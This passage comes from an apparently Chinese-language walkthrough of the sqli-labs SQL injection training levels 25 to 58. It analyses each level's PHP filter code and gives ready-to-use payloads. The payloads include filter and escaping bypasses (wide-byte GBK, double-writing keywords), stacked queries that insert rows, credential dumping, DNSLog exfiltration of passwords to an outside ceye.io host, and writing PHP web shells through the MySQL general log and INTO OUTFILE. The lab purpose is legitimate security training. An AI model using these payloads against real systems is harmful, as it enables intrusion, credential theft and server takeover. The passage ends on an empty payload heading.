写成SEPARATOORR
###符号替换
or
-> ||
and
-> &&
?id=1'||extractvalue(1,concat(0x7e,database()))--+
Less-25a
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id=$id |
与 Less-25 相比,只是拼接方式改变,因为代码中没有输出报错信息,所以也无法进行报错注入,其他利用方式都是一样的,国光这里不再啰嗦。
Less-26
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id='$id' |
简单源码分析:
Php
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/and/i',"", $id);
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[\s]/',"", $id);
$id= preg_replace('/[\/\\\\]/',"", $id);
return $id;
过滤了 or 和 and 可以采用 双写或者 && || 绕过
过滤注释 可以使用闭合绕过
过滤了空格 可以使用如下的符号来替代:
符号 | 说明 |
---|---|
%09 | TAB 键(水平) |
%0a | 新建一行 |
%0c | 新的一页 |
%0d | return 功能 |
%0b | TAB 键(垂直) |
%a0 | 空格 |
直接上 payload 吧:
Payload
?id=100'%0bunion%0bselect%0b1,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,passwoorrd,0x3c62723e))))x),3%0baandnd%0b'1'='1
Less-26a
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id=('$id') |
与 Less-26 相比,只是拼接方式改变了,因为没有输出报错信息,所以不能使用报错注入了,然后不再啰嗦,大家可以自行测试。
Less-27
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id=('$id') |
过滤规则又增加了许多:
Php
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[ +]/',"", $id);
$id= preg_replace('/select/m',"", $id);
$id= preg_replace('/select/s',"", $id);
$id= preg_replace('/Select/s',"", $id);
$id= preg_replace('/SELECT/s',"", $id);
$id= preg_replace('/union/s',"", $id);
$id= preg_replace('/Union/s',"", $id);
$id= preg_replace('/UNION/s',"", $id);
return $id;
union 和 select 没有忽略大小写 导致写了很多冗杂的规则,但还是可以轻易绕过。
Bash
unioN
unIon
seLect
...
uunionnion
sselectelect
ununionion
...
很多种方案,不再赘述,下面直接丢 payload:
?id=100'%0bununionion%0bseLect%0b1,(seLect(@x)FROM(seLect(@x:=0x00) ,(seLect(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,password,0x3c62723e))))x),3%0band%0b'1
Less-27a
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id="$id" |
和 Less-27 相比,只是拼接方式发生了改变,又因为没有报错日志的输出,所以少了报错注入的利用方式,利用方式换汤不换药,这里不做演示了。
Less-28
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id=('$id') |
过滤规则如下:
Php
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[ +]/',"", $id);.
$id= preg_replace('/union\s+select/i',"", $id);
return $id;
这里 union 和 select 这里可以使用双写嵌套绕过,过滤了注释的话 就使用闭合绕过,过滤了空格使用 Less-26 的编码绕过,OK分析完成后直接放完整的 payload 吧:
Payload
?id=100')%0bunion%a0select%0b1,(SELECT%0bGROUP_CONCAT(username,password%0bSEPARATOR%0b0x3c62723e)%0bFROM%0busers),3%a0and%0b('1
Less-28a
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id=('$id') |
比 Less-27 还少了几个过滤规则,这样直接丢 payload 吧:
Payload
?id=-1') union%a0select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users) --+
Less-29
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id=('$id') |
这一题和注入天书里面描述的环境不太一样,还是具体分析看下代码吧。
index.php
Php
'x' 的拼接方式
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if 查询到结果:
输出查询的详细信息
else:
print_r(mysql_error());
从源码来看的话和前面的貌似没有啥区别,直接尝试联合注入看看吧:
Payload
index.php?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users) --+
这个 index.php 太简单了,不知道啥意思,下面直接重点来看 login.php 吧:
login.php
Php
$qs = $_SERVER['QUERY_STRING'];
$id1=java_implimentation($qs);
$id=$_GET['id'];
whitelist($id1);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if 查询到结果:
输出查询的详细信息
else:
print_r(mysql_error());
?>
function java_implimentation($query_string)
{
$q_s = $query_string;
$qs_array= explode("&",$q_s);
foreach($qs_array as $key => $value)
{
$val=substr($value,0,2);
if($val=="id")
{
$id_value=substr($value,3,30);
return $id_value;
echo "<br>";
break;
}
}
}
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
if 不符合规则:
header('Location: hacked.php');
}
从代码中还是很容易发现问题的,关键问题出在下面的地方:
Php
$id1=java_implimentation($qs);
...
whitelist($id1);
whitelist
过滤是比较严格的,如果 id 不是数字的话就会直接重定向到 hacked.php
,这里是没毛病的。那么问题出在了这里函数$id1=java_implimentation($qs);
因为 return 表示了函数的结束运行,所以这个函数捕捉到 id 的时候就会返回 return $id_value
,这样就导致了 用户加入构造两组 id 的话,那么后面的 id 就会绕过函数检测。
假设用户输入这样的语句:
Apache PHP 会解析最后一个参数
Tomcat JSP 会解析第一个参数
知道这个原理的话后面尝试直接注入吧:
Payload
login.php?id=1&id=-2' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+
Less-30
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id="$id" |
和 Less-29 相比没有啥本质变化,只是拼接方式不一样。
Less-31
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id=("$id") |
和 Less-29 相比没有啥本质变化,只是拼接方式不一样。
Less-32
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id='$id' |
考察 Bypass addslashes(),关键的防护代码如下:
Php
if(isset($_GET['id']))
$id=check_addslashes($_GET['id']);
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); 将
$string = preg_replace('/\'/i', '\\\'', $string);
$string = preg_replace('/\"/', "\\\"", $string);
return $string;
}
宽字节注入原理
MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c
就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加 反斜杠 \
,所以这里想办法干掉反斜杠即可。
%df
吃掉\
具体的原因是 urlencode(\') = %5c%27
,我们在%5c%27
前面添加%df
,形 成%df%5c%27
,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c
当做是一个汉字,%27
则作为一个单独的符号在外面,同时也就达到了我们的目的。
- 将
\'
中的\
过滤掉
例如可以构造 %5c%5c%27
的情况,后面的%5c
会被前面的%5c
给注释掉。这也是 bypass 的一种方法。
本关卡采用第一种 %df 宽字节注入来吃掉反斜杠,下面直接丢 payload 吧:
Payload
?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+
Less-33
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id='$id' |
拼接方式也是一样的,过滤方法细节有点变化,具体如下:
Php
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
addslashes()
函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符 | 转义后 |
---|---|
\ |
\\ |
' |
\' |
" |
\" |
该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串,和 Less-32 的函数功能是差不的,依旧可以使用宽字节进行注入。
注入天书:使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞
Less-34
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注 | username='$uname' |
过滤方法依然和 Less-33 一致:
Php
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
只是由 GET 型变成了 POST 型,所以下面直接丢 POST 的数据包 payload 了:
Payload
uname=admin%df' union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=233
MySQL 注入天书这里介绍了一个新的方法
将 utf-8 转换为 utf-16 或 utf-32,例如将 '
转为 utf-16 为�
我们就 可以利用这个方式进行尝试,可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:
Bash
➜ ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜ ~ echo \'|iconv -f utf-8 -t utf-32
��'
首先尝试一个经典的万能密码:
Payload
uname=�' or 1#&passwd=
为什么这个万能密码可以生效呢,因为拼接到 SQL 中是如下的效果:
Sql
SELECT username, password FROM users WHERE username='�' or 1
or 1
是一个永真的条件,不论 select 选择出的内容是什么。or 1
之后时钟都是 1,下面是控制后台的演示:
Bash
mysql> select * from users where username = 'x' or 1;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 233 |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 21 | admin'#hacker | 111 |
+----+---------------+------------+
14 rows in set (0.00 sec)
# where username = 'x' or 0
mysql> select * from users where username = 'x' or 0;
Empty set (0.00 sec)
# where 1
mysql> select * from users where 1;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 233 |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 21 | admin'
+----+---------------+------------+
14 rows in set (0.00 sec)
mysql> select * from users where 0;
Empty set (0.00 sec)
那么直接尝试一下最基本的联合查询注入看看:
Payload
uname=�' and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=
也是 OK 的
Less-35
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id=$id |
Less-35 的防护措施有点搞笑,首先 id 使用了如下规则过滤:
Php
$id=check_addslashes($_GET['id']);
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
但是本关的拼接方式是:
Bash
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
实际进行注入利用的时候并不需要写单引号,那么就尝试直接注入看看吧:
Payload
?id=-1 union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+security.users) --+
Less-36
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id='$id' |
主要防护代码:
Php
$id=check_quotes($_GET['id']);
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
这一关主要考查了 Bypass MySQL Real Escape String,mysql_real_escape_string 会检测并转义如下危险字符:
危险字符 | 转义后 |
---|---|
\ |
\\ |
' |
\' |
" |
\" |
这一关使用 Less-34 关的两种思路依然是可行的,下面直接尝试 payload 进行注入吧:
Payload
?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+security.users) --+
或者
Payload
?id=-1�' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+security.users) --+
Less-37
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注 | username='$uname' |
依然使用了 和 Less-36 的防护方法:
Php
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
所以利用思路也是一毛一样的,只是由 GET 型变成了 POST 型了,下面就直接尝试注入吧:
Payload
uname=%df' and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=
或者:
Payload
uname=�' and 1=2 union select 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#&passwd=
原理介绍
MySQL 的命令行中,每一条语句以;
结尾,这代表语句的结束,如果在注入过程中在;
后面添加要执行的 SQL 语句的话,这种注入方式就叫做堆叠注入 (stacked injection) 。下面就是简单的示例:
Bash
mysql> select * from users where id = 1;select version();
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
+-------------------------+
| version() |
+-------------------------+
| 5.5.44-0ubuntu0.14.04.1 |
+-------------------------+
1 row in set (0.00 sec)
与 union select 联合查询相比,堆叠查询更加灵活,可以执行任意的 SQL 语句。
局限性
- 并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎。
- 在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略
这个就是为什么我们尝试用 union select 联合查询的原因,使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等
各个数据库堆叠查询实例
MySQL
Sql
select * from users where id=1;select version();
SQL Server
Mssql
select 1,2,3;select * from test;
Postgresql
Sql
select * from user_test;select 1,2,3;
注入天书里面说 Oracle 不支持堆叠查询,这个国光我对 Oracle 不熟悉,以后接触到了国光再亲自尝试看看。
Less-38
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注、堆叠注入 | id='$id' |
又到了简单源码分析的时间了,来看看堆叠注入的代码是如何实现的:
Php
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql)):
输出查询信息
else:
print_r(mysqli_error($con1));
发现和之前的关卡区别不大,唯一的区别就是查询 SQL 语句由原来的:
Php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
变成了现在的:
Php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if (mysqli_multi_query($con1, $sql))
mysqli_multi_query
函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。这个就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句。
既然知道原理了 那么这一关就详细演示一下这个堆叠注入如何灵活使用:
添加字段值
Payload
?id=1';insert into users(username,password) values ('hello','world');
数据库中查看是否添加成功:
Bash
mysql> select * from users where username = 'hello';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 23 | hello | world |
+----+----------+----------+
但是这个貌似并没有什么作用,但是注入天书里面也没有说其他的姿势,实际上看到这里的人应该明白后面是可以执行任意 SQL 语句的,那么这个怎么进行漏洞利用的话 就完全看你的想象力了,接下来国光演示我认为比较实用的姿势。
DNSLog 数据外带
需要条件:
load_file 函数在 Linux 下是无法用来做 DNSLog 攻击的,因为在这里就涉及到 Windows 的 UNC 路径。
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式
CONCAT()
函数拼接了4个\
了,因为转义的原因,4个就变\
成了2个\
,目的就是利用 UNC 路径。
因为 Linux 没有 UNC 路径这个东西,所以当 MySQL 处于 Linux 系统中的时候,是不能使用这种方式外带数据的。
下面国光临时使用 Windows 下的 PHPStudy 来搭建 sqli-labs 测试环境:
Payload
?id=1';select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.gvc791.ceye.io\\abc'))--+
Hex 编码的目的就是减少干扰,因为域名是有一定的规范,有些特殊符号是不能带入的有。
手动 Hex 解码即可
开启日志 Getshell
需要条件:
- Web 的物理路径
- MySQL 可以读写 Web 目录
- Windows 成功率 高于 Linux
首先查看当前的日志的相关配置:
Bash
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+---------------------------------+
| Variable_name | Value |
+------------------+---------------------------------+
| general_log | OFF |
| general_log_file | /var/lib/mysql/bb198f1a9cc6.log |
+------------------+---------------------------------+
Docker 里面的这个 Ubuntu 环境默认是没有开启的,这里尝试注入的时候手动开启:
Payload
?id=1';set global general_log = "ON";set global general_log_file='/var/www/html/shell.php';--+
然后 MySQL 再查看日志配置是否被修改了:
Bash
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+-------------------------+
| Variable_name | Value |
+------------------+-------------------------+
| general_log | ON |
| general_log_file | /var/www/html/shell.php |
+------------------+-------------------------+
这个尝试 getshell:
Sql
?id=1';select <?php phpinfo();?>
日志里面就会记录<?php phpinfo();?>
,浏览器访问查看:
查看一下当的日志文件:
Sql
$ cat /var/www/html/shell.php
200517 8:47:04 10 Connect root@localhost on security
10 Init DB security
10 Query SELECT * FROM users WHERE id='1';select '<?php phpinfo();?>'
此时已经成功写入了,但是因为这个文件属于 mysql 用户组的,国光我测试并没有成功执行:
Bash
$ ls -l /var/www/html/shell.php
-rw-rw---- 1 mysql mysql 171 May 17 08:47 /var/www/html/shell.php
不过在 Windows 下 phpstudy 测试是可以很成功的 getshell 的,如果有师傅补充的话 欢迎评论区留言!
Less-39
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注、堆叠注入 | id=$id |
和 Less-38 相比没有啥区别,只是拼接方式不一样。
Less-40
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注、堆叠注入 | id=('$id') |
和 Less-38 相比只是拼接方式不一样。
但是看了这一关源码下面还有其他文件,类似于 Less-24 的二次注入,看了下源码貌似和 Less-24 是一样的,可能是作者的疏忽吧,忘记删掉这些不相干的文件了。
Less-41
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注、堆叠注入 | id=$id |
和 Less-39 类似,因为少了报错输出,所以这里不能报错注入,其他注入方式一样,国光这里不再赘述。
Less-42
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注、堆叠注入 | username='$username' |
index.php
没有啥核心代码,PHP 和 HTML 混写,只要写了登录的表单,并提供了忘记密码和创建用户的链接,相比于 Less-24 的二次注入,这两个链接都不能直接访问,无法直接创建用户。
forgot_password.php
if you forgot your password,go to hack it
acc-create.php
if you need to create account,then hack your way in
failed.php
Bug off you silly dump hacker
login.php
Php
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
mysqli_multi_query($con1, $sql))
if 查询成功:
return $row[1];
else:
print_r(mysqli_error($con1));
if 登录成功:
setcookie("Auth", 1, time()+3600);
跳转到 logged-in.php
logged-in.php
登录成功,提供修改密码的表单
Html
<form name="mylogin" method="POST" action="pass_change.php">
pass_change.php
Php
if 没有登录:
重定向到 index.php
if 提交了修改密码表单:
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if $pass==$re_pass:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
这一题漏洞比较多,首先 login.php 中 password 没有过滤,可以进行常规的报错注入以及盲注,同时本身又支持堆叠查询,所以也支持堆叠注入。 pass_change.php update 语句存在漏洞,典型的二次注入,类似于 Less-24。
经典的万能密码绕过 1' or 1#
:
Http
POST /Less-42/login.php HTTP/1.1
...
login_user=admin&login_password=1' or 1#&mysubmit=Login
因为登录成功后返回:
所以登录了 id 为 1 的 Dumb 用户:
尝试联合查询:
Http
POST /Less-42/login.php HTTP/1.1
...
login_user=admin&login_password=1' union select 1,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,password,0x3c62723e))))x),3#&mysubmit=Login
报错注入:
Payload
login_user=admin&login_password=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&mysubmit=Login
同理这里也可以进行盲注和堆叠查注入,国光这里不再赘述。
Less-43
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注、堆叠注入 | username=('$username') |
和 Less-42 的利用方式一致,这里只是拼接方式不一样而已,不再赘述。
Less-44
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、布尔盲注、延时盲注、堆叠注入 | username='$username' |
和 Less-43 的利用方式一致,因为没有输出报错信息,所以这里少了报错注入的利用方式。
Less-45
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、布尔盲注、延时盲注、堆叠注入 | username=('$username') |
与 Less-43 闭合方式一致,只是这里少了报错注入的利用方法。
Less-46
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | ORDER BY $id |
Php
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
if 查询成功:
输出查询信息
else:
print_r(mysql_error());
order by 不同于 where 后的注入点,不能使用 union 等进行注入。注入方式十分灵活,下面在本关来详细讲解一下。
验证方式
- 升序和降序验证
Bash
?sort=1 asc
?sort=1 dasc
- rand() 验证
rand(ture) 和 rand(false) 的结果是不一样的
Payload
?sort=rand(true)
?sort=rand(false)
所以利用这个可以轻易构造出一个布尔和延时类型盲注的测试 payload
此外 rand() 结果是一直都是随机的
?sort=rand()
?sort=1 and rand()
- 延时验证
Payload
?sort=sleep(1)
?sort=(sleep(1))
?sort=1 and sleep(1)
这种方式均可以延时,延时的时间为 (行数*1) 秒
报错注入1
Payload
?sort=1+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)
报错注入2
利用 procedure analyse 参数,也可以执行报错注入。
Payload
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,(SELECT+CONCAT_WS(':',username,password)+FROM+users limit 0,1))),1)
布尔盲注
数据库第 1 位为:s
Payload
?sort=rand(left(database(),1)>'r')
?sort=rand(left(database(),1)>'s')
延时盲注
数据库第一个字母的 ascii 码为 115,即s
Payload
?sort=rand(if(ascii(substr(database(),1,1))>114,1,sleep(1)))
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
into outfile
将查询结果导入到文件中:
Sql
?sort=1 into outfile "/var/www/html/less46.txt"
如果导入不成功的话,很可能是因为 Web 目前 MySQL 没有读写权限造成的。
访问验证是否有信息:
Bash
$ curl http://127.0.0.1:8888/less46.txt
1 Dumb Dumb
2 Angelina I-kill-you
3 Dummy p@ssword
4 secure crappy
5 stupid stupidity
6 superman genious
7 batman mob!le
8 admin admin
9 admin1 admin1
10 admin2 admin2
11 admin3 admin3
12 dhakkan dumbo
14 admin4 admin4
利用导出文件 getshell:
注入天书里面提供了 lines terminated by 姿势用于 order by 的情况来 getsgell:
Payload
?sort=1 into outfile "/var/www/html/less46.php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e
3c3f70687020706870696e666f28293b3f3e 是 <php phpinfo();>
的十六进制编码。
来查看下写入的文件内容是啥样子的:
Bash
$ cat /var/www/html/less46.php
1 Dumb Dumb<?php phpinfo();?>2 Angelina I-kill-you<?php phpinfo();?>3 Dummy p@ssword<?php phpinfo();?>4 secure crappy<?php phpinfo();?>5 stupid stupidity<?php phpinfo();?>6 superman genious<?php phpinfo();?>7 batman mob!le<?php phpinfo();?>8 admin admin<?php phpinfo();?>9 admin1 admin1<?php phpinfo();?>10 admin2 admin2<?php phpinfo();?>11 admin3 admin3<?php phpinfo();?>12 dhakkan dumbo<?php phpinfo();?>14 admin4 admin4<?php phpinfo();?>
浏览器访问测试看看:
Less-47
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | ORDER BY '$id' |
和 Less-46 相比,利用方式不变,只是拼接方式方式变化,注入的时候只要正常闭合即可。
Less-48
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | ORDER BY $id |
和 Less-46 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以,这里国光不再过多演示了。
Less-49
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | ORDER BY '$id' |
和 Less-47 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以,这里国光不再过多演示了。
Less-50
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注、堆叠注入 | ORDER BY $id |
和 Less-46 相比,查询方式由 mysql_query 变成了 mysqli_multi_query,因此支持堆叠注入,在注入方面会更加灵活。堆叠注入的话国光这里不再演示,详细细节可以参考 Less-38 的堆叠注入的姿势。
Less-51
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注、堆叠注入 | ORDER BY '$id' |
和 Less-50 相比只是拼接方式发生了变化,实际注入的时候只需做一下对应的闭合即可。
Less-52
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注、堆叠注入 | ORDER BY $id |
和 Less-50 是一样的,只是少了报错注入的利用方式。
Less-53
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注、堆叠注入 | ORDER BY '$id' |
和 Less-51 是一样的,只是少了报错注入的利用方式。
Less-54
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id='$id' |
简单源码分析:
Php
if reset:
setcookie('challenge', ' ', time() - 3600000);
else:
if cookie 中有 challenge:
$sessid=$_COOKIE['challenge'];
else:
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
if $_GET['id']:
计数器 + 1
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
if 有查询成功:
输出查询信息
else:
啥都不输出
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
代码中可以分享出,得让我们在 10 次注入测试中拿到 key 值。看了源码可以直接联合查询,10 次以内拿到 key 感觉问题不大,那么尝试看看吧:
判断闭合方式
判断字段数
Payload
?id=1' order by 3--+
?id=1' order by 4--+
查询有可注入的字段
Payload
?id=-1' union select 1,2,3 --+
字段数 2,3
查询表名**
Payload
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()) --+
表名为:KMA0E2Z29V ,这个表名可能是随机的 不同用户不一样
查询列名
Payload
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x4b4d413045325a323956)--+
查到列名如下:id、sessid、secret_1XVB、tryy
查询字段值
Payload
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(secret_1XVB)+FROM+KMA0E2Z29V)--+
拿到 key 值为:UNK985xGrJL5PIWKGogHXo3F
总共只需要 6 步,其中在判断字段数这里有不确定性,理论上 10 步以内是可以正常注入出来的。
Less-55
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id=($id) |
Less-55 给了 14 次尝试机会,代码基本上没有变化,只是闭合方式发生了变化,国光这里不再赘述。
Less-56
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id=('$id') |
和 Less-54 相比只是拼接方式不一样,还是那个姿势,详见 Less-54
Less-57
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、布尔盲注、延时盲注 | id="$id" |
和 Less-54 相比只是拼接方式不一样,还是那个姿势,详见 Less-54
Less-58
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | id='$id' |
Less-58 这里相比较于 Less-54 - Less-57 变化还是比较大的,主要有明显区别的代码如下:
Php
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = ($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
因为这里输出只输出 $unames
和 $pass
数组,pass 数组就是 unames 数组的逆序,所以这里使用联合查询的话是没有效果的,输出不了有用的信息。天无绝人之路,但是下面输出:
Php
print_r(mysql_error());
所以这里就可以进行报错注入,下面直接丢 payload 吧:
Payload
